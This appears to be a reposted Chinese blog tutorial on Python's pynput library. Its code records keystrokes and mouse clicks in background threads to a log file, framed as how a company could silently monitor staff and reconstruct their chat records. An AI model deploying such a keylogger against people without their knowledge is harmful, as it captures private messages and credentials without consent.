你知道怎么用Python监控聊天记录吗
作者:程序猿-小菜 时间:2021-09-12 21:58:19
关于 pynput
pynput 可以监控我们的键盘和鼠标。目前具有此类功能的库有很多,比如 pygame 等游戏库,但是当我们只需要监控键盘和鼠标时,它们就显得过于笨重了,我们可以选择轻量,快速的 pynput。
实例
键盘监控
假设公司想要静默为我们的电脑常驻一个后台进程去实现监控我们的键盘输入并记录下来,他们大概可以这样做:
from pynput import keyboard
def on_press(key):
print(f'{key} :pushed')
def on_release(key):
#print(f'{key} released')
if key == keyboard.Key.esc:
# Stop listener
return False
with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
lsn.join()
复制代码
控制台打印:
鼠标监控
from pynput import mouse
def on_click(x, y, button, pressed):
if button == mouse.Button.left:
print('left was pressed!')
elif button == mouse.Button.right:
print('right was pressed!')
return False
else:
print('mid was pressed!')
# Collect events until released
with mouse.Listener(on_click=on_click) as listener:
listener.join()
复制代码
控制台打印:
你会发现,每条打印都被打印了两次,这是因为按下去和抬起来都会触发鼠标事件。
监控并记录到日志文件
from pynput import keyboard,mouse
from loguru import logger
from threading import Thread
# 定义日志文件
logger.add('demo.log')
def on_press(key):
logger.debug(f'{key} :pushed')
def on_release(key):
#print(f'{key} released')
if key == keyboard.Key.esc:
# Stop listener
return False
# 定义f1用于线程1
def f1():
with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
lsn.join()
def on_click(x, y, button, pressed):
if button == mouse.Button.left:
logger.debug('left was pressed!')
elif button == mouse.Button.right:
logger.debug('right was pressed!')
return False
else:
logger.debug('mid was pressed!')
# 定义f2用于线程2
def f2():
# Collect events until released
with mouse.Listener(on_click=on_click) as listener:
listener.join()
if __name__ == '__main__':
# 起两个线程分别监控键盘和鼠标
t1 = Thread(target=f1)
t2 = Thread(target=f2)
t1.start()
t2.start()
复制代码
查看日志内容:
如上,我们的键盘操作全部已经被记录,通过对这个日志文件进行简单的 NLTK
语言处理,就能复原你的聊天记录。
来源:https://blog.csdn.net/m0_61655732/article/details/120722435
标签:Python,监控,聊天记录
0
投稿
猜你喜欢
怎么才能限制SQL Server只能让指定的机器连接
2024-01-15 04:50:50
Oracle下的Java分页功能_动力节点Java学院整理
2024-01-20 16:34:00
Vue项目中配置pug解析支持
2024-05-09 09:52:53
WebStorm安装配置教程
2022-01-17 01:25:24
如何用Axure制作Tab页签
2009-02-08 17:53:00
浅谈Oracle数据库的建模与设计
2010-07-20 12:55:00
Python3 filecmp模块测试比较文件原理解析
2021-10-28 15:24:19
Python工程师面试必备25条知识点
2023-10-31 00:30:53
python的类方法和静态方法
2021-04-14 21:05:22
Python从入门到实战之数据结构篇
2023-10-16 21:32:30
Python中的Matplotlib模块入门教程
2023-08-14 23:05:16
如何使用ChatGPT搭建AI网站
2023-09-27 15:45:17
Vue 路由传参加密的示例代码
2024-05-09 10:50:34
python动态性强类型用法实例
2022-08-04 23:32:51
Python实现自动签到脚本的示例代码
2021-07-07 14:08:37
别开生面:纯CSS实现相册滑动浏览
2008-06-26 13:24:00
详解Go语言如何实现二叉树遍历
2024-04-23 09:44:10
linux环境下的python安装过程图解(含setuptools)
2021-03-31 13:03:56
35个Python编程小技巧
2023-08-23 21:23:50
MySQL GTID主备不一致的修复方案
2024-01-15 21:26:16